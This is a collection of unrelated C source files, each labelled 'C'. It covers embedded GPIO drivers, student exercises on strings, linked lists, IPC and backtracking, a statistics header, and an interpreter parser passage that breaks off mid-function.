#include <stdio.h> #include "bm.h" int GetPatFile(PatFile, DescVec) char *PatFile; struct PattDesc *DescVec[]; /* read patterns from a file and set up a pattern descriptor vector */ { extern char *malloc(); FILE *PFile; int PatSize; /* the number of chars in all the patterns */ char *PatBuff; /* hold the patterns */ char *s; int readlen; if (!(strlen(PatFile))) { fprintf(stderr,"bm: no pattern file given\n"); exit(2); } /* if */ if (!strcmp(PatFile,"-")) { PatSize = PSIZEDEF; PFile = stdin; } else { if (!(PFile = fopen(PatFile,"r"))) { fprintf(stderr, "bm: can't open pattern file %s\n",PatFile); exit(2); } if (fseek(PFile,0L,2) == -1) { fprintf(stderr,"bm: can't fseek %s\n",PatFile); exit(2); } /* if */ PatSize = ftell(PFile); rewind(PFile); if (!PatSize) { fprintf(stderr,"bm: pattern file is empty\n"); exit(2); } /* if */ } /* if */ if (!(PatBuff = malloc(PatSize+1))) { fprintf(stderr,"bm: insufficient memory to store patterns\n"); exit(2); } /* if */ for (s = PatBuff; (readlen = (PatBuff + PatSize) - s) > 0 && fgets(s,readlen,PFile) != (char *)0; s += strlen(s)) { } /* make sure the patterns are null-terminated. We can't have * nulls in the patterns */ if (s[-1] == '\n') s[-1] = '\0'; else s[0] = '\0'; if (PFile != stdin) { fclose(PFile); } else { clearerr(PFile); } return(MkDescVec(DescVec,PatBuff)); } /* GetPatFile */
C
/************************************************************************ * File name: GPIO_interface.h * * Description: This file contains the prototypes of the GPIO driver * and the macros used by the user * * owner: Ahmed Refaat * date: 6/3/2020 * version 1.2 ************************************************************************/ #ifndef DIO_INTERFACE_H #define DIO_INTERFACE_H /***************************** Macros ***********************************/ #define HIGH 1 #define LOW 0 /* Pin masks */ #define PIN0 0x01 #define PIN1 0x02 #define PIN2 0x04 #define PIN3 0x08 #define PIN4 0x10 #define PIN5 0x20 #define PIN6 0x40 #define PIN7 0x80 #define PIN8 0x100 #define PIN9 0x200 #define PIN10 0x400 #define PIN11 0x800 #define PIN12 0x1000 #define PIN13 0x2000 #define PIN14 0x4000 #define PIN15 0x8000 /* Macro like function to check if the input Pin mask is valid */ #define CHECK_PIN(Pin) ( (Pin == PIN0) || (Pin == PIN1) || (Pin == PIN2) || (Pin == PIN3) || \ (Pin == PIN4) || (Pin == PIN5) || (Pin == PIN6) || (Pin == PIN7) || \ (Pin == PIN8) || (Pin == PIN9) || (Pin == PIN10) || (Pin == PIN11) || \ (Pin == PIN12) || (Pin == PIN13) || (Pin == PIN14) ||(Pin == PIN15)) /* Mode bits mask in port configuration register */ #define CLR_MODE_BITS 0b1111 /* Pin configuration masks */ #define INPUT_ANALOG 0b0000 #define INPUT_FLOATING 0b0100 #define INPUT_PULLUP_DOWN 0b1000 #define OUTPUT_PUSH_PULL 0b0000 #define OUTPUT_OPEN_DRAIN 0b0100 #define OUTPUT_AF_PUSH_PULL 0b1000 #define OUTPUT_AF_OPEN_DRAIN 0b1100 #define INPUT_SPEED 0b00 #define OUTPUT_SPEED_2M 0b10 #define OUTPUT_SPEED_10M 0b01 #define OUTPUT_SPEED_50M 0b11 /* Base addresses of GPIO ports */ #define PORTA (( GPIO_registers*)0x40010800) #define PORTB (( GPIO_registers*)0x40010C00) #define PORTC (( GPIO_registers*)0x40011000) /* Macro like function to check if the input Port address is valid */ #define CHECK_PORT(Port) ((Port ==PORTA) || (Port == PORTB) || (Port ==PORTC)) /***************************** Type definitions ***************************/ /* structure for GPIO registers */ typedef struct { u32 GPIO_CRL ; u32 GPIO_CRH ; u32 GPIO_IDR ; u32 GPIO_ODR ; u32 GPIO_BSRR; u32 GPIO_BRR ; u32 GPIO_LCKR; }GPIO_registers; /* Typedef for GPIO configuration parameters */ typedef struct { GPIO_registers * port; u32 pin; u8 mode; u8 speed; }GPIO_t; /*************************************************************************** * Function name: GPIO_Configure * * Parameters: Input: * cfg_ptr * type: pointer to constant structure (GPIO_t) * Description: Address of the configuration structure * * Return: STD_ERROR (OK, NOT_OK) * Description: This function shall configure the GPIO pins * ( single pin or a whole port ) ***************************************************************************/ STD_ERROR GPIO_Configure(const GPIO_t * cfg_ptr) ; /************************************************************************ * Function name: GPIO_WritePinVal * * Parameters: Input: * * Port * type: pointer to constant structure (GPIO_registers) * Description: PORT address , ranges are : * 1- PORTA * 2- PORTB * 3- PORTC * Pin * type: u32 * Description: Pin number masks , ranges are : * PINx ( 1 ... 15 ) * * Val * type: u8 * Description: Pin value , ranges are : * 1- HIGH * 2- LOW * * Return: STD_ERROR (OK, NOT_OK) * Description: This function shall write a value on the GPIO pins ************************************************************************/ STD_ERROR GPIO_WritePinVal(GPIO_registers* Port, u32 Pin, u8 Val); /************************************************************************ * Function name: GPIO_GetPinVal * * Parameters: Input: * * Port * type: pointer to constant structure (GPIO_registers) * Description: PORT address , ranges are : * 1- PORTA * 2- PORTB * 3- PORTC * Pin * type: u32 * Description: Pin number masks , ranges are : * PINx ( 1 ... 15 ) * * Val * type: u8 * Description: Pin value , ranges are : * 1- HIGH * 2- LOW * * Input/Output : * type: pointer to u8 * Description: The value of desired pin of type u8 * * Return: STD_ERROR (OK, NOT_OK) * Description: This function shall get the pin value of desired GPIO pins ************************************************************************/ STD_ERROR GPIO_GetPinVal(GPIO_registers* Port, u32 Pin ,u8* Data); #endif
C
//https://www.hackerearth.com/practice/basic-programming/input-output/basics-of-input-output/practice-problems/algorithm/bricks-game-5140869d/ //Bricks Game #include<stdio.h> #include<stdlib.h> void main() { int n,i=1,motu=1,patlu=1; scanf("%d",&n); if(n>0) { b:; n-=patlu; if(n>0) goto a; else{ printf("Patlu"); exit(0); } a:; motu=patlu*2; patlu++; n-=motu; if(n>0) goto b; else{ printf("Motu"); exit(0); } } }
C
/*String Copy and Compare author:ABHINAV GUPTA made during 3rd semester 2014-2018 */ #include<stdio.h> #include<string.h> void strcpy1(char* n,char*m) { int count =0; while(*m!='\0') { *n =*m; n++; m++; count++; } *n ='\0'; printf("%d\t", count); } void strcmp1(char* n, char* m) { while((*n== *m) &&*n!='\0'&&*m!='\0') { n++; m++; } if(*n=='\0'&&*m=='\0') { printf("equal strings\n"); } else printf("unequal strings\n"); } int main() { char name[20]="abcd nnn"; char name1[20]; strcpy1(name1, name); strcmp1(name1,name); }
C
#include <stdio.h> #include <stdlib.h> #include <time.h> int main(){ int number, guess, nguesses=1; srand(time(0)); number=rand()%100 +1 ; // generates a random no. from 1 to 100 // printf("The no. is %d\n", number); do{ printf("Guess the no. between 1 to 100\n"); scanf("%d",&guess); if(guess>number){ printf("Lower no. please\n"); } else if(guess<number){ printf("Higher no. please!\n"); } else{ printf("You guessed the no. in %d attempts\n", nguesses); } nguesses++; }while(guess!=number); return 0; }
C
/*********************************************************************************** * Unix Network Programming - Progarmming Assignment 2 * File name : ipc_utility.c * Module : ipc_utility.out * Description : Client module is responsible of taking user's request and transfering it to the Server. Client also invokes the server. This module will implement 4 IPC mechanisms - pipes, fifo, posix shared memory and system V shared memory. If everything works alright, you will see an internal commandline '$'. Press EXIT to terminate ***********************************************************************************/ #include "common_includes.h" Blob* blob; const char *program_name; ipc_mode_t ipc_mode = ipc_mode_not_set; //for now void display_result (); bool create_ipc (ipc_t* ipc_type); void open_ipc (ipc_t* ipc_type, ipc_open_mode_t mode, const char* ipc_path); //mode could be ignored. Depends upon the ipc type void close_ipc (ipc_t* ipc_type, ipc_open_mode_t mode, const char* ipc_path); //mode could be ignored. Depends upon the ipc type int get_line (char *buffer, size_t max); void recv_data (ipc_t ipc_to_client); void interpret_command (char* token, ipc_command *user_command); void process_file (ipc_command user_command, char* file_path, char* buffer); void send_data (ipc_t ipc_to_server); void server (ipc_mode_t ipc_mode, ipc_t ipc_to_server, ipc_t ipc_to_client); void client (ipc_mode_t ipc_mode, ipc_t ipc_to_server, ipc_t ipc_to_client, pid_t pid_server); int main (int argc, char * const argv[]) { int ret_val = 0; program_name = argv[0]; //pipe is between related process //so sadly, I had to write a specialized code that basically //creates new unmaned pipes. I should be used as a wormhole //experement for doing this. What if... Never mind ipc_t ipc_to_server, ipc_to_client; char arg; while ((arg = getopt (argc, argv, STR_GETOPT)) != -1) { switch(arg) { case 'i': if (0 == strcmp (optarg, "PIPE")) ipc_mode = ipc_mode_pipe; else if (0 == strcmp (optarg, "FIFO")) ipc_mode = ipc_mode_fifo; else if (0 == strcmp (optarg, "POSIX_MSG_Q")) ipc_mode = ipc_mode_posix_msg_q; else if (0 == strcmp (optarg, "SYSTEMV_MSG_Q")) ipc_mode = ipc_mode_systemV_msg_q; break; default: //redundant break; } } if (ipc_mode == ipc_mode_not_set) { USAGE_EXIT (argv[0]); } // Create the IPC mode used for communication between server and client create_ipc (&ipc_to_server); create_ipc (&ipc_to_client); //Invoke Server printf ("\nWelcome to a IIST - Intermediate IPC Simulation Tool!\nCloning Client...\n"); pid_t pid_server = fork (); switch (pid_server) { case 0: //Server { //For unnamed pipe, here we close the other end of the pipe //A good practice is to close the end of pipe that is not going to be of use printf ("\nCloning Successful!\nSpawning Server to process with PID %d\n", getpid()); open_ipc (&ipc_to_server, ipc_open_read, IPC_PATH_TO_SERVER); if (ipc_mode == ipc_mode_posix_msg_q || ipc_mode == ipc_mode_systemV_msg_q) open_ipc (&ipc_to_client, ipc_open_write, IPC_PATH_TO_SERVER); else open_ipc (&ipc_to_client, ipc_open_write, IPC_PATH_TO_CLIENT); /* * Following arguments passed to the server * 1. IPC Mode - to * 2. ipc_to_server - will open for reading * 3. ipc_to_client - will open for writing */ //execlp (SERVER_FILE_PATH, ipc_mode, ipc_to_server, ipc_to_client); server (ipc_mode, ipc_to_server, ipc_to_client); //ret_val = errno; //printf ("\nFatal Error! Unable to start a server. Reason: %s\nTerminatinr now... ", strerror(errno)); // If exec returns, it is definitely an error //kill (getppid(), 9); return ret_val; } case -1: { printf ("\nFatal Error! Unable to invoke server. Reason: %s\nTerminatinr now... ", strerror(errno)); ret_val = errno; //redundant, for consistancy return ret_val; } default: //Client { //For unnamed pipe, here we close the other end of the pipe //A good practice is to close the end of pipe that is not going to be of use //An easy trade off for for writing generic code is to have to desc for msg_q //Although we can manage with single msg queue open_ipc (&ipc_to_server, ipc_open_write, IPC_PATH_TO_SERVER); //Write, reading closed if (ipc_mode == ipc_mode_posix_msg_q || ipc_mode == ipc_mode_systemV_msg_q) open_ipc (&ipc_to_client, ipc_open_read, IPC_PATH_TO_SERVER); //Read, writing closed else open_ipc (&ipc_to_client, ipc_open_read, IPC_PATH_TO_CLIENT); //Read, writing closed client (ipc_mode, ipc_to_server, ipc_to_client, pid_server); } } if (blob) free (blob); return 0; } int get_line(char *buffer, size_t max) { if (fgets (buffer, max, stdin) == buffer) { size_t len = strlen(buffer); if (len > 0 && buffer[len - 1] == '\0') buffer[--len] = '\0'; return len; } return 0; } void server (ipc_mode_t ipc_mode, ipc_t ipc_to_server, ipc_t ipc_to_client) { bool close_server = false; char file_path[PATH_MAX]; char buffer [MAX_BUFFER_SIZE]; //__FixMe__ size blob = (Blob*) malloc (MAX_BUFFER_SIZE); //__FixME__ size for (;!close_server;) { //reset variables to be used at every request ipc_command user_command = ipc_command_not_set; ZERO (file_path, PATH_MAX); //Wash file path for next request from the client ZERO (buffer, MAX_BUFFER_SIZE); recv_data (ipc_to_server); if (blob && strlen(blob->msg_data) > 0) { if (sscanf (blob->msg_data, "%d:%s", &user_command, file_path) != 2) user_command = ipc_command_bad; if (!strlen(file_path)) // If user command has initial white spaces, this may trigger continue; //Trim and skip such tokens //Check if the path is valid. struct stat sb; if (-1 == stat (file_path, &sb)){ //file does not exits; sprintf (blob->msg_data, "File path \"%s\" does not exit.\nPlease check the file path and try again.", file_path); } else { //clean blob for sending result back ZERO (blob, MAX_BUFFER_SIZE); // Do the requested file op process_file (user_command, file_path, buffer); //Load blob sprintf (blob->msg_data, "%s", buffer); } blob->msg_type = FOR_CLIENT; blob->msg_len = strlen (blob->msg_data); send_data (ipc_to_client); } else { close_ipc (&ipc_to_client, ipc_open_write, IPC_PATH_TO_CLIENT); //Client writer close_ipc (&ipc_to_server, ipc_open_read, IPC_PATH_TO_SERVER); //Server reader break; } } return; } void client (ipc_mode_t ipc_mode, ipc_t ipc_to_server, ipc_t ipc_to_client, pid_t pid_server) { bool close_client = false; char buffer [500]; //__FixMe__ size blob = (Blob*) malloc (MAX_BUFFER_SIZE); //__FixME__ size sleep (1); // give chance to "UP" the server printf ("\nThe File Server is up now. Enter commands to access the server.\n"); PRINT_USAGE; for (;!close_client;) { printf ("$ "); if (fgets (buffer, MAX_BUFFER_SIZE, stdin)) // Limited size command. Assuming that file path won't excceed PATH_MAX charecters { ipc_command user_command = ipc_command_not_set; char* token = strtok (buffer, " \n"); //breaking the incoming commands from user with boundary as ' ' or '\n' //printf ("Token %s", token); //For debug puropose if (!token) // If user command has initial white spaces, this may trigger continue; //Trim and skip such tokens interpret_command (token, &user_command); switch (user_command) { case ipc_command_read: case ipc_command_delete: { //It is obvious that the these commands require additional parsing of the arguments token = strtok (NULL, " \n"); if (!token) { BAD_USAGE (program_name, token); continue; } break; } case ipc_command_clear: system("clear"); continue; case ipc_command_ls: { char command_result [MAX_BUFFER_SIZE]; memset (command_result, 0, MAX_BUFFER_SIZE); FILE* file = popen (COMMAND_LS, "r"); while (fread (command_result, sizeof(char), MAX_BUFFER_SIZE, file)) { printf ("%s", command_result); memset (command_result, 0, MAX_BUFFER_SIZE); } pclose (file); continue; } case ipc_command_help: PRINT_USAGE; continue; case ipc_command_exit: //If user enters exit command { //Cleanup, kill Server and die close_ipc (&ipc_to_server, ipc_open_write, IPC_PATH_TO_SERVER); //Server writer close_ipc (&ipc_to_client, ipc_open_read, IPC_PATH_TO_CLIENT); //Client reader //Give Server some time to close the IPC before signalling //Actually, it is not really necessary to kill -9 server sleep (1); printf ("\nTerminating now... \n"); //kill (pid_server, 9); close_client = true; continue; } case ipc_command_not_set: case ipc_command_bad: default: BAD_USAGE (program_name, token); continue; } ZERO (blob, MSG_MAX); blob->msg_type = FOR_SERVER; sprintf (blob->msg_data, "%d:%s", user_command, token); blob->msg_len = strlen (blob->msg_data); //printf ("Token %s", token); //For debug purpose send_data (ipc_to_server); recv_data (ipc_to_client); display_result (); } printf ("\n"); } /*if (buffer) free (buffer);*/ return; } void interpret_command (char* token, ipc_command *user_command) { *user_command = ipc_command_not_set; if (0 == strcmp (token, "READ")) *user_command = ipc_command_read; else if (0 == strcmp (token, "DELETE")) *user_command = ipc_command_delete; else if (0 == strcmp (token, "EXIT")) *user_command = ipc_command_exit; else if (0 == strcmp (token, "CLEAR")) *user_command = ipc_command_clear; else if (0 == strcmp (token, "LS")) *user_command = ipc_command_ls; else if (0 == strcmp (token, "HELP")) *user_command = ipc_command_help; else *user_command = ipc_command_bad; } void send_data (ipc_t ipc_type) { switch (ipc_mode) { case ipc_mode_pipe: if (-1 == write (ipc_type.pipe[ipc_open_write], blob, MAX_BUFFER_SIZE)) printf ("\nError reported %s", strerror(errno)); break; case ipc_mode_fifo: if (-1 == write (ipc_type.fifo, blob, MAX_BUFFER_SIZE)) printf ("\nError reported %s", strerror(errno)); break; case ipc_mode_systemV_msg_q: if (msgsnd (ipc_type.systemv_msg_q, blob, MAX_BUFFER_SIZE, 0) < 0) printf ("\nError reported %s", strerror(errno)); break; case ipc_mode_posix_msg_q: { if (mq_send(ipc_type.posix_msg_q, blob->msg_data, blob->msg_len, 0) < 0) printf ("\nError reported %s", strerror(errno)); } break; } } void recv_data (ipc_t ipc_type) { ZERO (blob, MAX_BUFFER_SIZE); // Wash the blob before reusing, don't want any garbage - ironical isn't it ;-) switch (ipc_mode) { case ipc_mode_pipe: if (-1 == read (ipc_type.pipe[ipc_open_read], blob, MAX_BUFFER_SIZE)) printf ("\nError reported %s", strerror(errno)); break; case ipc_mode_fifo: if (-1 == read (ipc_type.fifo, blob, MAX_BUFFER_SIZE)) printf ("\nError reported %s", strerror(errno)); break; case ipc_mode_systemV_msg_q: if (msgrcv (ipc_type.systemv_msg_q, blob, MAX_BUFFER_SIZE, 0, 0) < 0 && errno != EIDRM) printf ("\nError reported %s", strerror(errno)); break; case ipc_mode_posix_msg_q: { blob->msg_len = MAX_BUFFER_SIZE; if (mq_receive (ipc_type.posix_msg_q, blob->msg_data, blob->msg_len, 0) < 0) printf ("\nError reported %s", strerror(errno)); } break; } } void display_result () { if (blob) printf (" Response received from Server: %s \n", blob->msg_data); } void process_file (ipc_command user_command, char* file_path, char* buffer) { FILE* file_to_process = NULL; switch (user_command) { case ipc_command_read: file_to_process = fopen (file_path, "r"); if (file_to_process == NULL) sprintf (buffer, "We have encountered some error while reading the file - %s.\nPlease make sure that this file is readable by current user", file_path); else { fread (buffer, MAX_BUFFER_SIZE, sizeof(char), file_to_process); //Read the file and write the o/p to the ipc } break; case ipc_command_delete: if (0 == remove (file_path)) //Perform the file operation and write the result in a file sprintf (buffer, "File deleted!!!"); else sprintf (buffer, "Unable to delete the file!!!"); break; case ipc_command_bad: sprintf (buffer, "Bad command or file name"); //LOL. I am trying to be nostalgic here break; default: break; } if (file_to_process) // Close the file to process and set fd to NULL { fclose (file_to_process); file_to_process = NULL; } } void close_ipc (ipc_t* ipc_type, ipc_open_mode_t mode, const char* ipc_path) { switch (ipc_mode) { case ipc_mode_pipe: close ((*ipc_type).pipe [mode]); break; case ipc_mode_fifo: close ((*ipc_type).fifo); unlink(ipc_path); break; case ipc_mode_systemV_msg_q: if ((*ipc_type).systemv_msg_q > 0) { msgctl ((*ipc_type).systemv_msg_q, IPC_RMID, NULL); (*ipc_type).systemv_msg_q = -1; } break; case ipc_mode_posix_msg_q: { //We have to put a slash in front of the ipc device name for posix msg q char msgq_name [50]; memset (msgq_name, 0, 50); sprintf (msgq_name, "/%s", ipc_path); if ((*ipc_type).posix_msg_q > 0) { mq_close((*ipc_type).posix_msg_q); (*ipc_type).posix_msg_q = 0; mq_unlink(msgq_name); } } break; } } void open_ipc (ipc_t* ipc_type, ipc_open_mode_t mode, const char* ipc_path) { switch (ipc_mode) { case ipc_mode_pipe: if (mode == ipc_open_read) close ((*ipc_type).pipe[ipc_open_write]); //Read, writing closed else if (mode == ipc_open_write) close ((*ipc_type).pipe[ipc_open_read]); //Write, reading closed break; case ipc_mode_fifo: if (mode == ipc_open_read) (*ipc_type).fifo = open (ipc_path, O_RDONLY, 0); else if (mode == ipc_open_write) (*ipc_type).fifo = open (ipc_path, O_WRONLY, 0); break; case ipc_mode_systemV_msg_q: { key_t key = ftok ("/tmp", 'a'); //id is any value to generate same key everytime. lsb 8 bits shouldn't be zero if (-1 == key) { printf (IPC_OPEN_ERR, strerror(errno)); break; } (*ipc_type).systemv_msg_q = msgget (key, IPC_CREAT | FILE_MODE); if (-1 == (*ipc_type).systemv_msg_q) { printf (IPC_OPEN_ERR, strerror(errno)); } } break; case ipc_mode_posix_msg_q: { char msgq_name [50]; memset (msgq_name, 0, 50); sprintf (msgq_name, "/%s", ipc_path); struct mq_attr attr; attr.mq_flags = 0; attr.mq_maxmsg = 10; attr.mq_msgsize = 500; attr.mq_curmsgs = 0; (*ipc_type).posix_msg_q = mq_open (msgq_name, O_RDWR|O_CREAT, FILE_MODE, &attr); if (-1 == (*ipc_type).posix_msg_q) { printf (IPC_OPEN_ERR, strerror(errno)); } } break; } } bool create_ipc (ipc_t* ipc_type) { bool ret_val = true; switch (ipc_mode) { case ipc_mode_pipe: if (-1 == pipe ((*ipc_type).pipe)) { printf (IPC_OPEN_ERR, strerror(errno)); ret_val = false; } break; case ipc_mode_fifo: if (mkfifo (IPC_PATH_TO_SERVER, FILE_MODE) && errno != EEXIST) { printf (IPC_OPEN_ERR, strerror(errno)); ret_val = false; } if (mkfifo (IPC_PATH_TO_CLIENT, FILE_MODE) && errno != EEXIST) { unlink(IPC_PATH_TO_SERVER); printf (IPC_OPEN_ERR, strerror(errno)); ret_val = false; } break; case ipc_mode_systemV_msg_q: break; case ipc_mode_posix_msg_q: break; } return ret_val; }
C
/* * Copyright (C) 2012 Gautier Hattenberger (ENAC) * * This file is part of paparazzi. * * paparazzi is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2, or (at your option) * any later version. * * paparazzi is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with paparazzi; see the file COPYING. If not, write to * the Free Software Foundation, 59 Temple Place - Suite 330, * Boston, MA 02111-1307, USA. * */ #ifndef PPRZ_STAT_H #define PPRZ_STAT_H #include "../std.h" /** Compute the variance of an array of values (float). * The variance is a measure of how far a set of numbers is spread out * V(X) = E[(X-E[X])^2] = E[X^2] - E[X]^2 * where E[X] is the expected value of X * * @param array pointer to an array of float * @param nb numbre of values in the array, must be >0 * @return variance */ static inline float variance_float(float * array, int nb) { float me = 0.; float see = 0.; for (int i = 0; i < nb; i++) { me += array[i]; see += array[i]*array[i]; } me /= nb; return (see/nb - me*me); } /** Compute the variance of an array of values (integer). * The variance is a measure of how far a set of numbers is spread out * V(X) = E[(X-E[X])^2] = E[X^2] - E[X]^2 * where E[X] is the expected value of X * * @param array pointer to an array of integer * @param nb numbre of values in the array, must be >0 * @return variance */ static inline int32_t variance_int(int32_t * array, int nb) { float me = 0; float see = 0; for (int i = 0; i < nb; i++) { me += (float)array[i]; see += (float)(array[i]*array[i]); } me /= nb; return (see/nb - me*me); } #endif
C
/* * * Name: Work wiyh double linked list * Date: 26.07.2021 * Author: Kostyaev Gregory * */ #include "stdio.h" #include "stdlib.h" #include "funcs.h" int main(void){ printf("Пример работы с двусвязными списками\n\r"); printf("Автор: Костяев Григорий Игоревич\n\r"); printf("\n\r"); DblLnkdLst = DoubleLinkedList_SetDefaults(); printf("Добавляем первые три значения в начало списка по очереди по возрастанию\n\r"); //Добавляем в начало списка for(unsigned int i = 0; i < 3; i++){ DoubleLinkedList_AddFront(DblLnkdLst, inpData[i]); } DoubleLinkedList_PrintListInfo(DblLnkdLst); printf("Добавляем вторые три значения в конец списка по очереди по возрастанию\n\r"); //Добавляем в конец списка for(unsigned int i = 3; i < 6; i++){ DoubleLinkedList_AddBack(DblLnkdLst, inpData[i]); } DoubleLinkedList_PrintListInfo(DblLnkdLst); printf("Значение второго элемента: %d\n\r", ((node *)DoubleLinkedList_GetNthNode(DblLnkdLst, 2))->value); printf("Значение пятого элемента: %d\n\r\n\r", ((node *)DoubleLinkedList_GetNthNode(DblLnkdLst, 5))->value); DoubleLinkedList_SearchAndPrintByVal(DblLnkdLst, 40); printf("Удаляем первый элемент со значением: %d\n\r", DoubleLinkedList_DelFrornt(DblLnkdLst)); printf("Удаляем первый элемент со значением: %d\n\r", DoubleLinkedList_DelFrornt(DblLnkdLst)); DoubleLinkedList_PrintListInfo(DblLnkdLst); printf("Удаляем последний элемент со значением: %d\n\r", DoubleLinkedList_DelBack(DblLnkdLst)); printf("Удаялем последний элемент со значением: %d\n\r", DoubleLinkedList_DelBack(DblLnkdLst)); DoubleLinkedList_PrintListInfo(DblLnkdLst); printf("Вставляем значение 70 после первого элемента\n\r"); DoubleLinkedList_AddAfter(DblLnkdLst, 1, inpData[6]); DoubleLinkedList_PrintListInfo(DblLnkdLst); printf("Вставляем значение 80 после второго элемента\n\r"); DoubleLinkedList_AddAfter(DblLnkdLst, 2, inpData[7]); DoubleLinkedList_PrintListInfo(DblLnkdLst); printf("Удаляем значение после второго элемента\n\r"); DoubleLinkedList_DeleteNode(DblLnkdLst, 2); DoubleLinkedList_PrintListInfo(DblLnkdLst); printf("Удаляем двусвязный список...\n\r"); //Удаляем список DoubleLinkedList_Delete(DblLnkdLst); getchar(); return 0; }
C
/* * This source code implements the queen problem. Given a 8X8 chessboard, we * have to place 8 queens on the board such that no queen can invade each other. * * It also implements knight problem where given a 8X8 chessboard, we have to * fill a solution array of 8X8 which has the move number for a knight such * that the knight covers the entire board. If its not possible, then return * false. */ #include <stdio.h> #include <stdlib.h> /* * We have to return all possible ways to place 8 queens such that no one kills * any other. We maintain an array to store the positions of queens placed till * now. We will use this to find the position to place new queen such that it * is not being killed by any previous queens. We write a recursive function * which takes row number as argument and for that row, it traverses all * possible columns and tries to place a queen on that column. Base case * is if we reach last row, then all queens are placed, so we increment the * count. */ #define GRID_SIZE 8 void placeQueen(int row, int* prevQueenPos, int *count) { // Main function will call this with row=0. // prevQueenPos is a array which holds the column number of prev queens // at the row index. prevQueenPos[1] = 3 means that the queen is at // row 1 and column 3. Count will store the total number of ways. if(row == GRID_SIZE) { // We can also have an array or arrays which store // the actual positions. We can use prevQueenPos to get // the position of all the queens and store it in our result // 2d array. *count++; return; } // Now, we have to place queen in some column in given row. So we traverse // all the columns and for each column, we check if we can place our queen // there. If yes, we update the prevQueenPos with our queen's position // and recursively call the function for next row. for(int col=0; col<GRID_SIZE; col++) { if(isValid(row, col, prevQueenPos)) { prevQueenPos[row] = col; placeQueen(row+1, prevQueenPos, count); } } return; } // Function to check if the row, col position is valid to place the queen. bool isValid(int row, int col, int *prevQueenPos) { // We check for all previous rows for the position of prev queens if(row == 0) { return true; // As row is 0, this is first queen. So place anywhere. } int prev_row, prev_col; for(prev_row=0; prev_row<row; prev_row++) { prev_col = prevQueenPos[prev_row]; // Now, prev queen is at prev_row,prev_col position. We check if our // position row, col lies in same column as prev queen or lies in a // diagonal position of prev queen. If yes, return false. if(prev_col == col) { return false; } int row_dist = abs(row-prev_row); int col_dist = abs(col-prev_col); // If the above distances are equal, then it means they are on same // diagonal. if(row_dist == col_dist) { return false; } } return true; } /* * Knight Problem: We have to move knight such that it covers all the cells on * the chess board. If it is possible, we return the solution matrix which * contains the move number for each cell. * * We use backtracking here. We start with 0,0. We initialize our solution matrix * of size 8X8 to all -1s. We mark solution[0][0] = 0 as this is our start point. * Now, we traverse for all the 8 possible moves of knight and for each, we check * if it is a valid move. If yes, we recursively call the function with this new * position. If it returns false, we call the function for next possible move and * so on. If all return false, then we backtrack by resetting the value in * solution matrix and return false. If any of these returned true, we break the * for loop and return true. */ // For valid moves of knight int xMove[8] = { 2, 1, -1, -2, -2, -1, 1, 2 }; int yMove[8] = { 1, 2, 2, 1, -1, -2, -2, -1 }; bool knightProblem(int x, int y, int **solution, int count) { // Main function will call this function with x=0, y=0, count=1 and // solution array all initialized to -1. We check the count and if it // is 64 (8*8), we have visited all the cells, so we return true. Its // our base case. if(count == 64) { return true; } // Traverse for all possible moves and check if it is valid and then // recursively call for(int i=0; i<8; i++) { int new_x = x + xMove[i]; int new_y = y + yMove[i]; if(isValidMove(new_x, new_y, solution)) { solution[new_x][new_y] = count; if(knightProblem(new_x, new_y, solution, count+1)) { return true; } else { // If we reach here, then there is no possible move // from new_x, new_y position, so backtrack. solution[new_x][new_y] = -1; } } } return false; } bool isValidMove(int x, int y, int **sol) { if(x>=0 && y>=0 && x<8 && y<8 && sol[x][y] == -1) { return true; } else { return false; } }
C
#include <stdio.h> #define MSG "You must have many talents. Tell me some" #define LIM 5 #define LINELEN 81 int main(void) { char name[LINELEN]; char talents[LINELEN]; int i; // 初始化确定大小的char数组 const char m1[40] = "Limit yourself to one line's wroth. "; // 让编译器自己计算大小 const char m2[] = "If you can't think of anything, fake it!"; // 初始化一个指针 const char *m3 = "Englisth about me - what's your name? "; const char *mytal[LIM] = { "Adding numbers swiftly", "Multiplaying accurately", "Stashing data", "Following instructions to the letter", "Understanding the C language" }; printf("Hi! I'm Clyde the Computer. " "I have my talents. \n"); for (i=0; i<LIM; i++) puts(*(mytal+i)); printf("Hi! What's your name?\n"); // gets(name); // printf("%s ! it's a nice name.", name); char hello[] = "hello"; *(hello + 3) = '\0'; puts(hello); // hel 程序输出字符串时候碰到\0会终止,认为字符串结束 return 0; } /* 字符串常量,是一对双引号中的任何字符。 双引号力里面的字符加上编译器自动提供的结束标志\0字符。作为一个字符串存储在内存中。 如果字符串之间没有间隔或者间隔为空格。ANSIC会将其串联起来。 如果在字符串中使用双引号。可以使用\。 字符串输出时候碰到\0会认为字符串结束。 */
C
/** * Implementace interpretu imperativniho jazyka IFJ16 * * xzarsk03 Jan Zarsky * xvlcek23 David Vlcek * xpelan04 Pelantova Lucie * xmrlik00 Vit Mrlik * xpapla00 Andrei Paplauski * */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include "parser.h" #include "instrlist.h" #include "expr_parser.h" #include "symtab.h" #include "scanner.h" #include "error_codes.h" int return_args(); int statement_list(); int func_var(); int assign(); int class_dec(); int func_args(); int func_args_list(); int func_args_print(); int func_params(); int func_params_list(); static int pruchod = 0; symtab_t *tabulka; symtab_t *local_tabulka; int token; char *token_data; symtab_elem_t * item; symtab_elem_t * current_function; symtab_elem_t * called_function; symtab_elem_t * current_class; symtab_elem_t * current_param; char *id; int type; extern tListOfInstr *instr_list; unsigned int run_counter=0; bool is_empty_file = true; void set_symtable(symtab_t *table) { tabulka = table; } char * str_conc(char * class_name, char * var_name){ char * summ= malloc(sizeof(char) * (strlen(class_name) + strlen(var_name) + strlen(".") + 1)); strcpy(summ, class_name); strcat(summ, "."); strcat(summ, var_name); return summ; } // 1) <prog> -> CLASS MAIN LEFT_VINCULUM STATIC VOID RUN LEFT_BRACKET RIGHT_BRACKET LEFT_VINCULUM <st-list> RIGHT_VINCULUM <prog> // 1.1) <prog> -> CLASS MAIN LEFT_VINCULUM <class-dec> <prog> // 2) <prog> -> CLASS ID LEFT_VINCULUM <class-dec> <prog> // declaration of class //-- 3) <prog> -> STATIC [INT/DOUBLE/STRING/VOID] ID LEFT_BRACKET <func-params>(we MUST give pointer to funtion) LEFT_VINCULUM <st-list> //declaration and initialization of function // 3) <prog> -> END_OF_FILE int program(){ int result; //pruchod 1 if(pruchod == 0){ if ( (token = 